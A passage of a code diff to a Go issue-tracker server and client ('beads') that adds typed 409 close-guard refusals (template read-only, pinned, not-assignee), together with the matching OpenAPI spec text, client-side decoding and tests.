CLAIM. `POST /v0/beads/issues/{id}:claim` always carries it, because its conflict path reads the row it lost to. `PATCH /v0/beads/issues/{id}` and `POST /v0/beads/issues:batchApply` carry it only when the refusing transaction reported a holder, and `POST /v0/beads/issues/{id}:release` never does — the ownership fence refuses without naming anyone. An absent member means "this refusal could not name the holder", never "nobody holds it"; re-read the row. Assignee *string `json:"assignee,omitempty"` @@ -1607,7 +1610,7 @@ type Problem struct { // IT IS OPTIONAL. A refusal that could not name its blockers omits it and keeps the generic `detail`; absence means "this refusal did not name them", never "nothing blocks it". Re-read the issue's dependencies then. Blockers *[]Blocker `json:"blockers,omitempty"` - // Code The stable machine-readable reason, and the ONLY member a client may dispatch on. v0's vocabulary: `invalid_argument` (400, also emitted by the Host-header middleware on any route), `invalid_cursor` (400), `unauthenticated` (401, only on a server configured with a token file), `not_found` (404), `already_claimed` (409), `not_claimable` (409), `not_closable` (409), `not_releasable` (409), `template_read_only` (409), `dependency_cycle` (409), `dependency_exists` (409), `already_exists` (409), `precondition_failed` (409), `events_journal_disabled` (409), `events_journal_truncated` (410), `busy` (503), `db_unavailable` (503), `events_watch_saturated` (503), `internal` (500). Renaming or removing a status+code pair is a breaking change; ADDING one is not, so clients MUST default-branch on unknown values and fall back to the status class (unknown 4xx → client bug, fail loud; unknown 503 → retry per `Retry-After`; other unknown 5xx → server fault). + // Code The stable machine-readable reason, and the ONLY member a client may dispatch on. v0's vocabulary: `invalid_argument` (400, also emitted by the Host-header middleware on any route), `invalid_cursor` (400), `unauthenticated` (401, only on a server configured with a token file), `not_found` (404), `already_claimed` (409), `not_claimable` (409), `not_closable` (409), `not_releasable` (409), `template_read_only` (409), `issue_pinned` (409), `not_assignee` (409), `dependency_cycle` (409), `dependency_exists` (409), `already_exists` (409), `precondition_failed` (409), `events_journal_disabled` (409), `events_journal_truncated` (410), `busy` (503), `db_unavailable` (503), `events_watch_saturated` (503), `internal` (500). Renaming or removing a status+code pair is a breaking change; ADDING one is not, so clients MUST default-branch on unknown values and fall back to the status class (unknown 4xx → client bug, fail loud; unknown 503 → retry per `Retry-After`; other unknown 5xx → server fault). Code string `json:"code"` // DeclaredLater With `invalid_argument` on a batch operation whose items may name each other: whether the unresolvable key IS declared by the request, at a LATER index. diff --git a/internal/httpapi/batch_apply.go b/internal/httpapi/batch_apply.go index 8b2e3fcba..a1cfa73f0 100644 --- a/internal/httpapi/batch_apply.go +++ b/internal/httpapi/batch_apply.go @@ -1054,9 +1054,12 @@ func (s *Server) failApplyBatch(w http.ResponseWriter, r *http.Request, request s.fail(w, r, at(closeBlockedResult(err, "an item closes a blocked issue", "clear the blocker, or send the item's force flag"), "")) - // An update item naming a template: the shared mapping plus the item + // An update item naming a template, or the close guards on a close item: + // the shared mapping, carrying the holder for not_assignee, plus the item // members. - case errors.Is(err, issueops.ErrTemplateReadOnly): + case errors.Is(err, issueops.ErrTemplateReadOnly), + errors.Is(err, issueops.ErrPinned), + errors.As(err, new(*issueops.CloseNotAssigneeError)): s.fail(w, r, at(ClassifyError(err), "")) case errors.Is(err, storage.ErrAlreadyClaimed): diff --git a/internal/httpapi/batch_close.go b/internal/httpapi/batch_close.go index 9fb4cc02b..d28bea778 100644 --- a/internal/httpapi/batch_close.go +++ b/internal/httpapi/batch_close.go @@ -118,6 +118,7 @@ func closeOutcome(outcome issueops.CloseOutcome) apigen.CloseOutcome { } var openChildren *issueops.CloseOpenChildrenError + var notAssignee *issueops.CloseNotAssigneeError var ( code Code detail string @@ -135,6 +136,16 @@ func closeOutcome(outcome issueops.CloseOutcome) apigen.CloseOutcome { code = CodeNotClosable detail, wire.Blockers = closeBlocked(outcome.Err, "this issue is blocked", "clear the blocker, or send `force`") + // The close guards answer per item exactly as the single close answers + // them — the shared mapping's code and detail — with the holder on the + // outcome's own `assignee` member. + case errors.Is(outcome.Err, issueops.ErrTemplateReadOnly), + errors.Is(outcome.Err, issueops.ErrPinned), + errors.As(outcome.Err, ¬Assignee): + res := ClassifyError(outcome.Err) + code, detail = Code(res.Problem.Code), derefString(res.Problem.Detail) + wire.Assignee = res.Problem.Assignee + case errors.Is(outcome.Err, storage.ErrNotFound): code, detail = CodeNotFound, "no issue with this id in either plane" diff --git a/internal/httpapi/close_guards_test.go b/internal/httpapi/close_guards_test.go new file mode 100644 index 000000000..fb7a0e0ef --- /dev/null +++ b/internal/httpapi/close_guards_test.go @@ -0,0 +1,163 @@ +package httpapi + +import ( + "fmt" + "net/http" + "strings" + "testing" + + "github.com/steveyegge/beads/issueops" +) + +// The close guards — template read-only, the pin, the assignee fence — are the +// ROLE's (issueops.Lifecycle.Close and the batch roles that share its body), so +// these cases drive a fake role that refuses the way the real one does and pin +// what the wire makes of it on each of the three close routes. The real role +// behind a real server is the served leg of the conformance contracts +// (internal/httpclient: TestServedLifecycleCloseEnforcesTheCloseGuards and its +// batch siblings), which also proves the client rebuilds the typed error. + +// closeGuardCases are the three refusals as a unit-of-work backend returns +// them: wrapped by the use case and the repository, so the mapping has to find +// them by type rather than by being handed the bare value. +var closeGuardCases = []struct { + name string + err error + code Code + assignee any +}{ + { + name: "template", + err: &issueops.TemplateReadOnlyError{IssueID: "bd-1"}, + code: CodeTemplateReadOnly, + }, + { + name: "pinned", + err: &issueops.PinnedError{IssueID: "bd-1"}, + code: CodeIssuePinned, + }, + { + name: "not assignee", + err: &issueops.CloseNotAssigneeError{IssueID: "bd-1", Assignee: "bob", Actor: "alice"}, + code: CodeNotAssignee, + assignee: "bob", + }, +} + +func wrapAsUOW(err error) error { + return fmt.Errorf("close bd-1: db: IssueSQLRepository.CloseChecked bd-1: %w", err) +} + +// assertNoRoleProse checks a detail is this server's own words: the role's +// sentence names the actor the caller sent and the holder, and a refusal's +// detail is not where a client reads either. +func assertNoRoleProse(t *testing.T, where string, detail any) { + t.Helper() + text, _ := detail.(string) + if text == "" { + t.Errorf("%s detail = %v, want this server's own sentence", where, detail) + } + for _, leaked := range []string{"cannot modify", "cannot close", "IssueSQLRepository"} { + if strings.Contains(text, leaked) { + t.Errorf("%s detail %q carries the role's prose (%q)", where, text, leaked) + } + } +} + +func TestCloseGuardsAreTypedConflicts(t *testing.T) { + for _, tc := range closeGuardCases { + t.Run(tc.name, func(t *testing.T) { + lifecycle := &roleLifecycle{closeErr: wrapAsUOW(tc.err)} + ts := newCloseServer(t, lifecycle) + + resp := ts.closeIssue(t, closePath, `{"actor":"alice"}`) + if resp.StatusCode != http.StatusConflict { + t.Fatalf("status = %d, want 409: %s", resp.StatusCode, readAll(t, resp)) + } + body := decodeBody(t, resp) + if body["code"] != string(tc.code) { + t.Errorf("code = %v, want %s", body["code"], tc.code) + } + if body["assignee"] != tc.assignee { + t.Errorf("assignee = %v, want %v", body["assignee"], tc.assignee) + } + if _, ok := body["open_children"]; ok { + t.Errorf("a close guard carries open_children, which would read as close policy") + } + assertNoRoleProse(t, "close", body["detail"]) + }) + } +} + +// TestCloseForwardsForceToTheGuards pins that the handler hands `force` to the +// role and decides nothing itself: whether a guard is waived is the role's call. +func TestCloseForwardsForceToTheGuards(t *testing.T) { + lifecycle := &roleLifecycle{closeErr: wrapAsUOW(&issueops.TemplateReadOnlyError{IssueID: "bd-1"})} + ts := newCloseServer(t, lifecycle) + + resp := ts.closeIssue(t, closePath, `{"actor":"alice","force":true}`) + if resp.StatusCode != http.StatusConflict { + t.Fatalf("status = %d, want the role's 409 under force: %s", resp.StatusCode, readAll(t, resp)) + } + if got := lifecycle.closeRequests(); len(got) != 1 || !got[0].Force { + t.Fatalf("the role received %+v, want one request carrying Force", got) + } +} + +func TestBatchCloseItemsCarryTheCloseGuards(t *testing.T) { + outcomes := []issueops.CloseOutcome{{IssueID: "bd-0", Issue: closedIssue("bd-0"), Changed: true}} + for _, tc := range closeGuardCases { + outcomes = append(outcomes, issueops.CloseOutcome{IssueID: "bd-1", Err: wrapAsUOW(tc.err)}) + } + ts := newBatchCloseServer(t, &roleBatchCloser{result: issueops.CloseBatchResult{Outcomes: outcomes}}) + + resp := ts.batchClose(t, `{"actor":"alice","items":[{"id":"bd-0"},{"id":"bd-1"},{"id":"bd-1"},{"id":"bd-1"}]}`) + if resp.StatusCode != http.StatusOK { + t.Fatalf("status = %d, want 200 carrying per-item refusals: %s", resp.StatusCode, readAll(t, resp)) + } + got := outcomesOf(t, resp) + if len(got) != 4 { + t.Fatalf("outcomes = %d, want 4", len(got)) + } + if _, refused := got[0]["code"]; refused { + t.Errorf("outcome 0 = %v, want the plain item's success", got[0]) + } + for i, tc := range closeGuardCases { + item := got[i+1] + if item["code"] != string(tc.code) { + t.Errorf("%s item code = %v, want %s", tc.name, item["code"], tc.code) + } + if item["assignee"] != tc.assignee { + t.Errorf("%s item assignee = %v, want %v", tc.name, item["assignee"], tc.assignee) + } + if _, ok := item["issue"]; ok { + t.Errorf("%s item carries an issue snapshot beside its refusal", tc.name) + } + assertNoRoleProse(t, tc.name+" item", item["detail"]) + } +} + +func TestApplyBatchCloseItemGuardsAreTypedConflicts(t *testing.T) { + for _, tc := range closeGuardCases { + t.Run(tc.name, func(t *testing.T) { + applier := &roleBatchApplier{err: itemErr(1, issueops.ItemClose, "", "bd-1", wrapAsUOW(tc.err))} + ts := newApplyBatchServer(t, applier) + + resp := ts.claim(t, batchApplyPath, `{"actor":"alice","items":[{"kind":"create","create":{"title":"one"}}]}`) + if resp.StatusCode != http.StatusConflict { + t.Fatalf("status = %d, want 409: %s", resp.StatusCode, readAll(t, resp)) + } + body := decodeBody(t, resp) + if body["code"] != string(tc.code) { + t.Errorf("code = %v, want %s", body["code"], tc.code) + } + if body["assignee"] != tc.assignee { + t.Errorf("assignee = %v, want %v", body["assignee"], tc.assignee) + } + if body["item_index"] != float64(1) || body["item_kind"] != "close" || body["item_issue_id"] != "bd-1" { + t.Errorf("item members = %v/%v/%v, want 1/close/bd-1", body["item_index"], body["item_kind"], body["item_issue_id"]) + } + assertNoRoleProse(t, "applyBatch", body["detail"]) + }) + } +} diff --git a/internal/httpapi/problem.go b/internal/httpapi/problem.go index a7694e09a..2bad156a1 100644 --- a/internal/httpapi/problem.go +++ b/internal/httpapi/problem.go @@ -146,6 +146,23 @@ const ( // A 409 for CodeNotClosable's reason: the body is well-formed and the // STATE of the named row refuses it. CodeTemplateReadOnly Code = "template_read_only" + // CodeIssuePinned is an unforced close of a pinned issue, by either of the + // two spellings bd pins with (the `pinned` flag or the `pinned` status). + // `force` is the bypass. It is its own code rather than a third + // `not_closable` because that code's member-presence discriminator already + // reads "no `open_children`" as a live blocker, and a pin is not one. + CodeIssuePinned Code = "issue_pinned" + // CodeNotAssignee is an unforced close by an actor who is not the issue's + // assignee (be-035): an unassigned issue is closable by anyone, an + // assigned one by its holder, compared separator-insensitively. `force` is + // the bypass. The holder the refusing transaction observed travels in the + // `assignee` member, so a client names it without reading `detail`; the + // closing actor is the one the request sent. + // + // It is minted rather than folded into CodeAlreadyClaimed, which a client + // maps to a lost CLAIM: answering it for a close would have the client + // read the operation, rather than the code, to decide what was refused. + CodeNotAssignee Code = "not_assignee" // CodeDependencyCycle covers BOTH never-makes-progress refusals a requested // edge set can earn: a scheduling cycle, and a blocking edge against the // issue's own ancestor or descendant. They are one code because they have @@ -273,6 +290,8 @@ var codeStatus = map[Code]int{ CodeNotClosable: http.StatusConflict, CodeNotesOverwrite: http.StatusConflict, CodeTemplateReadOnly: http.StatusConflict, + CodeIssuePinned: http.StatusConflict, + CodeNotAssignee: http.StatusConflict, CodeNotReleasable: http.StatusConflict, CodeDependencyCycle: http.StatusConflict, CodeDependencyExists: http.StatusConflict, @@ -823,7 +842,8 @@ var operationCodes = map[string][]Code{ // The NARROWEST write vocabulary on this surface, and the narrowness is the // contract rather than an oversight. A problem document from this operation // means the batch never ran; every refusal an ITEM can earn — not_found for - // an id naming no row, not_closable for close policy — travels in that + // an id naming no row, not_closable for close policy, template_read_only, + // issue_pinned and not_assignee for the close guards — travels in that // item's outcome inside a 200. A 404 here would say the operation went to // the wrong place, and a 409 would say the whole batch was refused, and // neither is ever true of a per-item refusal. @@ -856,14 +876,18 @@ var operationCodes = map[string][]Code{ CodeAlreadyClaimed, CodeNotReleasable, CodePreconditionFailed, CodeBusy, CodeDBUnavailable, CodeInternal, }, - // TWO 409s, and they answer different questions with `code` as the only - // discriminator a client needs. + // Several 409s, and they answer different questions with `code` as the + // only discriminator a client needs. // // not_closable is close POLICY: an unforced close refused for open children - // or for a live blocker. There is no already_claimed here — closing work - // somebody else holds is not a refusal on this surface — and the idempotent - // re-close is a 200 carrying `already_closed`, the claim's answer to the - // same question. + // or for a live blocker. The idempotent re-close is a 200 carrying + // `already_closed`, the claim's answer to the same question. + // + // template_read_only, issue_pinned and not_assignee are the CLOSE GUARDS + // the role applies before policy, in that order: a template (no bypass), a + // pin and closing work somebody else holds (both bypassed by `force`). + // There is no already_claimed: that code is a lost claim, and not_assignee + // carries the holder in `assignee` itself. // // precondition_failed is `expected_version`'s, in the 409 form for the // reason that code documents, and it is CHECKED FIRST — before policy and @@ -872,6 +896,7 @@ var operationCodes = map[string][]Code{ // members make unrelated claims. OpCloseIssue: { CodeInvalidArgument, CodeUnauthenticated, CodeNotFound, CodeNotClosable, CodePreconditionFailed, + CodeTemplateReadOnly, CodeIssuePinned, CodeNotAssignee, CodeBusy, CodeDBUnavailable, CodeInternal, }, // ONE 409, and it is a PRECONDITION rather than a policy. Close has a policy @@ -978,7 +1003,7 @@ var operationCodes = map[string][]Code{ OpApplyBatch: { CodeInvalidArgument, CodeUnauthenticated, CodeNotFound, CodePreconditionFailed, CodeNotClosable, CodeAlreadyClaimed, CodeNotesOverwrite, CodeAlreadyExists, - CodeTemplateReadOnly, + CodeTemplateReadOnly, CodeIssuePinned, CodeNotAssignee, CodeDependencyCycle, CodeDependencyExists, CodeBusy, CodeDBUnavailable, CodeInternal, }, @@ -1525,6 +1550,7 @@ func ClassifyError(err error) Result { // `if` away from a pruned-past checkpoint arriving as a generic 500 on // whichever arm forgot it. var truncated *storage.EventsJournalTruncatedError + var notAssignee *issueops.CloseNotAssigneeError switch { case err == nil: @@ -1560,11 +1586,20 @@ func ClassifyError(err error) Result { case errors.Is(err, issueops.ErrCloseBlocked): return closeBlockedResult(err, "issue is blocked", "clear the blocker or close with force") - // The detail is this server's own words rather than the role's message, - // for the reason Problem.detail gives. + // The close guards; the first, template read-only, is every update's guard + // too. Each detail is this server's own words rather than the role's + // message, for the reason Problem.detail gives; the typed members are what + // a client reconstructs the refusal from. case errors.Is(err, issueops.ErrTemplateReadOnly): return newResult(CodeTemplateReadOnly, "this issue is a template, and templates are read-only; pour it to create work") + case errors.Is(err, issueops.ErrPinned): + return newResult(CodeIssuePinned, "this issue is pinned; close with force to override") + + case errors.As(err, ¬Assignee): + return newResult(CodeNotAssignee, + "this issue is assigned to another actor; reclaim it, or close with force").WithAssignee(notAssignee.Assignee) + case errors.Is(err, ErrBusy): res := newResult(CodeBusy, "") res.RetryAfterSeconds = retryAfterSaturation diff --git a/internal/httpapi/spec/openapi.v0.yaml b/internal/httpapi/spec/openapi.v0.yaml index 6d9c5b354..f62181bf3 100644 --- a/internal/httpapi/spec/openapi.v0.yaml +++ b/internal/httpapi/spec/openapi.v0.yaml @@ -2420,8 +2420,10 @@ paths: `closed_by_session` and `close_reason` — written under first-close-wins by `{id}:close`, which a patch write would bypass. A `status` that crosses into the done category still answers to close POLICY here; it - does not acquire the close's semantics, which is why `{id}:close` - remains the operation to reach for when what you mean is "close this". + does not acquire the close's semantics, and that includes its close + guards: a patch is never refused `issue_pinned` or `not_assignee`. + That is why `{id}:close` remains the operation to reach for when what + you mean is "close this". `created_at`, `created_by` — `POST /v0/beads/issues` withholds them for @@ -3202,8 +3204,33 @@ paths: the blockers themselves travel in `blockers`). The MEMBER'S PRESENCE is the discriminator, so telling the two apart never requires reading `detail`. Both refusals are the ROLE's, so `force` - bypasses those two and nothing else — this endpoint cannot skip a guard - by forgetting one exists. + bypasses those two — this endpoint cannot skip a guard by forgetting + one exists. + + + ## Close guards + + + Before close policy, a close of an issue that is not already closed + answers to three guards, in this order. A template refuses with + `409` / `template_read_only` and has no bypass. A pinned issue (the + `pinned` flag or the `pinned` status) refuses with `409` / + `issue_pinned`. An issue assigned to someone other than `actor` + (compared separator-insensitively; an unassigned issue is closable by + anyone) refuses with `409` / `not_assignee`, carrying the holder in + `assignee`. `force` bypasses the pin and the assignee guard. They are + the guards `bd close` applies, and they are the ROLE's, so every close + operation — this one, `POST /v0/beads/issues:batchClose` and a + `close` item of `POST /v0/beads/issues:batchApply` — applies them + alike. An idempotent re-close is not guarded: it changes nothing. + + + The guards gate the close operations, not the closed state. A status + update that crosses into the done category — a `PATCH` of + `/v0/beads/issues/{id}` or an `update` item of + `POST /v0/beads/issues:batchApply` — is not a close operation and + answers to close policy only, so it still closes a pinned issue or one + another actor holds. ## The guard @@ -3297,8 +3324,13 @@ paths: bypass both. `force` does NOT bypass the guard above. - Nothing was written in either case. - x-bd-codes: [not_closable, precondition_failed] + `template_read_only`, `issue_pinned` and `not_assignee`: a close + guard refused (see "Close guards"). `not_assignee` carries the + holder in `assignee`. `force` bypasses the latter two. + + + Nothing was written in any case. + x-bd-codes: [issue_pinned, not_assignee, not_closable, precondition_failed, template_read_only] content: application/problem+json: schema: @@ -4338,9 +4370,16 @@ paths: per-item bypasses, and a forced item never earns this. - `template_read_only` is an `update` item whose target is a - template, exactly as `PATCH /v0/beads/issues/{id}` answers it; no - item member bypasses it. + `template_read_only` is an `update` or a `close` item whose target + is a template, exactly as `PATCH /v0/beads/issues/{id}` and + `POST /v0/beads/issues/{id}:close` answer it; no item member + bypasses it. + + + `issue_pinned` and `not_assignee` are the other two close guards + refusing a `close` item, exactly as + `POST /v0/beads/issues/{id}:close` answers them; `not_assignee` + carries the holder in `assignee`. `close.force` bypasses both. `already_claimed` is the assignee fence: an `update` whose @@ -4372,8 +4411,8 @@ paths: a malformed request. x-bd-codes: [already_claimed, already_exists, dependency_cycle, - dependency_exists, not_closable, notes_overwrite_refused, precondition_failed, - template_read_only] + dependency_exists, issue_pinned, not_assignee, not_closable, + notes_overwrite_refused, precondition_failed, template_read_only] content: application/problem+json: schema: @@ -4421,8 +4460,9 @@ paths: contract: a refusal OF THE REQUEST is a problem document, and a refusal OF AN ITEM is a member of that item's outcome. `code` on an outcome is the same vocabulary `Problem.code` publishes, restricted to - `not_found` and `not_closable`, so a client classifies an item exactly - as it classifies a request. + `not_found`, `not_closable` and the three close guards + (`template_read_only`, `issue_pinned`, `not_assignee`), so a client + classifies an item exactly as it classifies a request. WHAT IS ATOMIC IS EVERYTHING THAT LANDS: one transaction, at most one @@ -4466,8 +4506,9 @@ paths: NO PER-ITEM PRECONDITION. There is no counterpart here to a compare-and-set guard, matching the role, so `force` is a question with - only two answers: it bypasses blocker and open-child close policy for - every item, and it never bypasses validation or existence. + only two answers: it bypasses blocker and open-child close policy, the + pin and the assignee guard for every item, and it never bypasses the + template guard, validation or existence. ## Hooks and auto-commit @@ -10452,7 +10493,8 @@ components: default: false description: >- Bypasses close policy — the open-children refusal and the - live-blocker refusal — and nothing else. + live-blocker refusal — and the pin and the assignee guard, and + nothing else: never the template guard. CLOSE POLICY EVALUATES AT THIS ITEM, against the row as this request @@ -11065,10 +11107,11 @@ components: default: false description: >- Bypass close policy — the open-children refusal and the live-blocker - refusal — for EVERY item, and nothing else. It never bypasses - validation and it never bypasses existence: an id that names nothing - refuses whether or not this is set. It is request-wide because the - flag that spells it is. + refusal — and the pin and the assignee guard for EVERY item, and + nothing else. It never bypasses the template guard or validation, + and it never bypasses existence: an id that names nothing refuses + whether or not this is set. It is request-wide because the flag + that spells it is. BatchCloseItem: type: object @@ -11161,13 +11204,22 @@ components: refused THIS item, exactly as `Problem.blockers` carries them for the single close, and optional for the same reason. Absent on a successful item and on every other refusal. + assignee: + type: string + description: >- + With `not_assignee`: the issue's assignee the refusing transaction + observed, exactly as `Problem.assignee` carries it for the single + close. Absent on a successful item and on every other refusal. code: type: string description: >- This item's refusal, from `Problem.code`'s vocabulary and restricted - to `not_found` (the id names no row in either plane) and + to `not_found` (the id names no row in either plane), `not_closable` (close policy refused it: open children, or a live - blocker — see `open_children`). ABSENT means the item succeeded. + blocker — see `open_children`), and the close guards + `template_read_only`, `issue_pinned` and `not_assignee` (see + `assignee`), exactly as the single close answers them. ABSENT means + the item succeeded. It is the problem vocabulary rather than a second one because an @@ -11246,9 +11298,11 @@ components: default: false description: >- Bypass close policy — the open-children refusal and the - live-blocker refusal — and nothing else. The refusals are the - ROLE's, so this endpoint cannot skip a guard by forgetting one - exists. A forced close still reports `open_children`. + live-blocker refusal — and the pin and the assignee guard, and + nothing else: never the template guard (see "Close guards" on + `POST /v0/beads/issues/{id}:close`). The refusals are the ROLE's, + so this endpoint cannot skip a guard by forgetting one exists. A + forced close still reports `open_children`. IT BYPASSES POLICY, NEVER A PRECONDITION. `expected_version` is @@ -12185,7 +12239,8 @@ components: configured with a token file), `not_found` (404), `already_claimed` (409), `not_claimable` (409), `not_closable` (409), `not_releasable` (409), - `template_read_only` (409), + `template_read_only` (409), `issue_pinned` (409), + `not_assignee` (409), `dependency_cycle` (409), `dependency_exists` (409), `already_exists` (409), `precondition_failed` (409), `events_journal_disabled` (409), `events_journal_truncated` (410), @@ -12245,7 +12300,9 @@ components: type: string description: >- With `already_claimed`: the actor currently holding the issue, read - inside the transaction that refused. + inside the transaction that refused. With `not_assignee`: the + issue's assignee the refusing close observed — always present on + that code. IT IS OPTIONAL ON EVERY OPERATION BUT THE CLAIM. `POST diff --git a/internal/httpapi/wireshape/testdata/golden.json b/internal/httpapi/wireshape/testdata/golden.json index 89c866bab..02a66f58c 100644 --- a/internal/httpapi/wireshape/testdata/golden.json +++ b/internal/httpapi/wireshape/testdata/golden.json @@ -1220,6 +1220,12 @@ "type": "boolean", "required": false }, + { + "schema": "CloseOutcome", + "member": "assignee", + "type": "string", + "required": false + }, { "schema": "CloseOutcome", "member": "blockers", diff --git a/internal/httpclient/batchcloser.go b/internal/httpclient/batchcloser.go index a9d231e3c..d7257186a 100644 --- a/internal/httpclient/batchcloser.go +++ b/internal/httpclient/batchcloser.go @@ -239,7 +239,7 @@ func decodeBatchCloseResult(req issueops.CloseBatchRequest, resp *apigen.BatchCl } outcomes := make([]issueops.CloseOutcome, len(resp.Outcomes)) for i := range resp.Outcomes { - outcomes[i] = decodeBatchCloseOutcome(resp.Outcomes[i]) + outcomes[i] = decodeBatchCloseOutcome(req.Actor, resp.Outcomes[i]) } return issueops.CloseBatchResult{Outcomes: outcomes}, nil } @@ -252,10 +252,10 @@ func decodeBatchCloseResult(req issueops.CloseBatchRequest, resp *apigen.BatchCl // members are FLAT on the outcome rather than nested under an error object, so // `open_children` is read from the same field in both branches and means two // different things depending on which one — see the schema. -func decodeBatchCloseOutcome(item apigen.CloseOutcome) issueops.CloseOutcome { +func decodeBatchCloseOutcome(actor string, item apigen.CloseOutcome) issueops.CloseOutcome { out := issueops.CloseOutcome{IssueID: item.IssueId} if item.Code != nil { - out.Err = perItemCloseError(item.IssueId, item) + out.Err = perItemCloseError(item.IssueId, actor, item) return out } // A successful outcome carries the snapshot; already_closed is the idempotent @@ -276,6 +276,10 @@ func decodeBatchCloseOutcome(item apigen.CloseOutcome) issueops.CloseOutcome { // not_found -> issueops.ErrNotFound // not_closable + open_children -> *issueops.CloseOpenChildrenError // not_closable -> issueops.ErrCloseBlocked +// template_read_only -> *issueops.TemplateReadOnlyError +// issue_pinned -> *issueops.PinnedError +// not_assignee + assignee -> *issueops.CloseNotAssigneeError (the +// closing actor is the request's own) // an unknown code -> *wire.UnknownItemCodeError (the generic // typed per-item error, so version skew lands // as a typed refusal rather than a silent gap) @@ -285,7 +289,7 @@ func decodeBatchCloseOutcome(item apigen.CloseOutcome) issueops.CloseOutcome { // // It is only ever called with a refused outcome — Code non-nil — which the one // caller above guarantees. -func perItemCloseError(issueID string, item apigen.CloseOutcome) error { +func perItemCloseError(issueID, actor string, item apigen.CloseOutcome) error { var code string if item.Code != nil { code = *item.Code @@ -298,6 +302,16 @@ func perItemCloseError(issueID string, item apigen.CloseOutcome) error { return &issueops.CloseOpenChildrenError{IssueID: issueID, OpenChildren: *item.OpenChildren} } return issueops.ErrCloseBlocked + case codeTemplateReadOnly: + return &issueops.TemplateReadOnlyError{IssueID: issueID} + case codeIssuePinned: + return &issueops.PinnedError{IssueID: issueID} + case codeNotAssignee: + var assignee string + if item.Assignee != nil { + assignee = stripItemControlRunes(*item.Assignee) + } + return &issueops.CloseNotAssigneeError{IssueID: issueID, Assignee: assignee, Actor: actor} default: var detail string if item.Detail != nil { @@ -311,12 +325,15 @@ func perItemCloseError(issueID string, item apigen.CloseOutcome) error { } } -// The two per-item refusal codes this outcome can carry. They are the +// The per-item refusal codes this outcome can carry. They are the // `Problem.code` spellings, restated here rather than imported because // importing the server package would drag the storage engine into a client. const ( - codeNotFound = "not_found" - codeNotClosable = "not_closable" + codeNotFound = "not_found" + codeNotClosable = "not_closable" + codeTemplateReadOnly = "template_read_only" + codeIssuePinned = "issue_pinned" + codeNotAssignee = "not_assignee" ) // stripItemControlRunes removes control runes from a server-controlled per-item @@ -363,6 +380,9 @@ func perItemCloseRefusal(issueID string, err error) (issueops.CloseOutcome, bool case errors.As(err, &openChildren): case errors.Is(err, issueops.ErrNotFound): case errors.Is(err, issueops.ErrCloseBlocked): + case errors.Is(err, issueops.ErrTemplateReadOnly): + case errors.Is(err, issueops.ErrPinned): + case errors.As(err, new(*issueops.CloseNotAssigneeError)): default: return issueops.CloseOutcome{}, false } diff --git a/internal/httpclient/lifecycle.go b/internal/httpclient/lifecycle.go index 1bad6d62c..409be20d3 100644 --- a/internal/httpclient/lifecycle.go +++ b/internal/httpclient/lifecycle.go @@ -936,11 +936,17 @@ func setNullableTime(out map[string]any, member string, field issueops.Field[*ti // operation the Lifecycle role uses (design D8's off-role list, extended by the // `bd close` decision). // -// Its one caller at tip is the molecule auto-close, which closes a parent whose -// children have all finished and discards nothing about the outcome. Routing it -// onto the role's operation rather than refusing it is what keeps that path -// working over http; it carries no reason-per-item and no force, so the mapping -// is total. +// Routing it onto the role's operation rather than refusing it is what keeps +// the molecule auto-close (which closes a parent whose children have all +// finished) and the other raw closes cmd/bd makes outside `bd close` working +// over http. It sends force because the raw close is the unguarded one +// everywhere else: dolt, embedded and proxied run it as +// issueops.CloseIssueInTx, which applies neither the close guards nor close +// policy, and its signature carries no force a caller could use to waive a +// refusal those backends never make. Sent unforced, a pinned or claimed root +// would stop closing over http and nowhere else. The template guard has no +// bypass on the wire, so a template still refuses here where the other +// backends close it; no raw caller is known to close one. func (s *Store) CloseIssue(ctx context.Context, id, reason, actor, session string) error { w, err := s.roleWire("CloseIssue") if err != nil { @@ -952,6 +958,6 @@ func (s *Store) CloseIssue(ctx context.Context, id, reason, actor, session strin if err := requireID("issue id", id); err != nil { return err } - _, err = w.CloseIssue(ctx, id, closeBody(actor, reason, session, false)) + _, err = w.CloseIssue(ctx, id, closeBody(actor, reason, session, true)) return err } diff --git a/internal/httpclient/served_batch_apply_test.go b/internal/httpclient/served_batch_apply_test.go index fa21e6b0c..1117c51b8 100644 --- a/internal/httpclient/served_batch_apply_test.go +++ b/internal/httpclient/served_batch_apply_test.go @@ -261,6 +261,10 @@ func TestServedBatchApplySplicesTheMetadataOfATemplateItCreates(t *testing.T) { conformance.RunBatchApplySplicesTheMetadataOfATemplateItCreates(t, t.Context(), newServedBatchApplyFixture(t, "hbats")) } +func TestServedBatchApplyCloseItemsAnswerToTheCloseGuards(t *testing.T) { + conformance.RunBatchApplyCloseItemsAnswerToTheCloseGuards(t, t.Context(), newServedBatchApplyFixture(t, "hbacg")) +} + // TestServedBatchApplyStampsSpawnerIDOnlyWhenNamed wires the dep_add // HasSpawner/ThreadID lineage conformance case onto the http leg (S5): a // served default Config always advertises CapBatchApplyDepAddLineage (it is diff --git a/internal/httpclient/served_batch_close_test.go b/internal/httpclient/served_batch_close_test.go index 11b9a5145..9c3911ef4 100644 --- a/internal/httpclient/served_batch_close_test.go +++ b/internal/httpclient/served_batch_close_test.go @@ -168,3 +168,10 @@ func TestServedBatchCloserDoesNotMutateTheCallerRequest(t *testing.T) { func TestServedBatchCloserSettlesTheDependersOfWhatItClosed(t *testing.T) { conformance.RunBatchCloserSettlesTheDependersOfWhatItClosed(t, t.Context(), newServedBatchCloserFixture(t, "hbcbs")) } + +// TestServedBatchCloserItemsAnswerToTheCloseGuards is the served leg of the +// close guards: each guarded item travels back as its outcome's code (and +// `assignee`) and is rebuilt into the same typed error a local batch returns. +func TestServedBatchCloserItemsAnswerToTheCloseGuards(t *testing.T) { + conformance.RunBatchCloserItemsAnswerToTheCloseGuards(t, t.Context(), newServedBatchCloserFixture(t, "hbcgd")) +} diff --git a/internal/httpclient/served_claim_lifecycle_test.go b/internal/httpclient/served_claim_lifecycle_test.go index 9f8033046..08e5bc810 100644 --- a/internal/httpclient/served_claim_lifecycle_test.go +++ b/internal/httpclient/served_claim_lifecycle_test.go @@ -309,6 +309,75 @@ func TestServedLifecycleReopenReblocksItsDependers(t *testing.T) { conformance.RunLifecycleReopenReblocksItsDependers(t, t.Context(), newServedCloseReopenFixture(t, "hlbr")) } +// TestServedLifecycleCloseEnforcesTheCloseGuards is the served leg of the close +// guards: bd serve refuses with template_read_only, issue_pinned and +// not_assignee, and the client rebuilds the typed error — sentence included — +// the embedded store returns. +func TestServedLifecycleCloseEnforcesTheCloseGuards(t *testing.T) { + conformance.RunLifecycleCloseEnforcesTheCloseGuards(t, t.Context(), newServedCloseReopenFixture(t, "hlcg")) +} + +// TestServedRawCloseKeepsParityWithTheOtherBackends 